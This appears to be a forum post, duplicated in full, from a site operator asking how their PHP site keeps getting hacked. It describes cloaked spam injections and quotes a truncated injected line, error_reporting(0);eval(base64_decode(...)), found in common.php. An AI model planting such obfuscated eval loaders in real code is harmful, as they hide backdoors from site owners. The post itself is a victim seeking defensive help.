PHP site keeps getting hacked and I can't figure out how
A site that I help run gets hacked every few months and I can't figure out where it's being compromised at.  In the past an include statement was added to the top of all the php files which called some weird code and made things like Viagra ads show up--for some customers only.  

The only way to reproduce it for me is to run the page through Google Translate, and even though it's English, pick something like French to English translation.  This causes me to be able to see the ads.  Only some customers seem to see it.

It looks like now something has been added to common.php (I don't know if this file is even needed).  The following line was added:

error_reporting(0);eval(base64_decode('JGxMOXdGMWFZNHpYNmpUMWdUNmdRN2xPMGtIMGdCNW9OOG1ZOG5COHZCN3pROGNCOXNBNHpUMm1aNmhYNGFGOXRGMWNOMmNMMmt$


It seems that this references a file in the images directory called image.php which also contains a bunch of base64_decode strings.

Any thoughts on how I can figure out where these attacks are coming from?  We had some old crappy third party plugins that were not in use anymore but I thought we got rid of them all.  Any help would be greatly appreciated!
PHP site keeps getting hacked and I can't figure out how
===

A site that I help run gets hacked every few months and I can't figure out where it's being compromised at.  In the past an include statement was added to the top of all the php files which called some weird code and made things like Viagra ads show up--for some customers only.  

The only way to reproduce it for me is to run the page through Google Translate, and even though it's English, pick something like French to English translation.  This causes me to be able to see the ads.  Only some customers seem to see it.

It looks like now something has been added to common.php (I don't know if this file is even needed).  The following line was added:

error_reporting(0);eval(base64_decode('JGxMOXdGMWFZNHpYNmpUMWdUNmdRN2xPMGtIMGdCNW9OOG1ZOG5COHZCN3pROGNCOXNBNHpUMm1aNmhYNGFGOXRGMWNOMmNMMmt$


It seems that this references a file in the images directory called image.php which also contains a bunch of base64_decode strings.

Any thoughts on how I can figure out where these attacks are coming from?  We had some old crappy third party plugins that were not in use anymore but I thought we got rid of them all.  Any help would be greatly appreciated!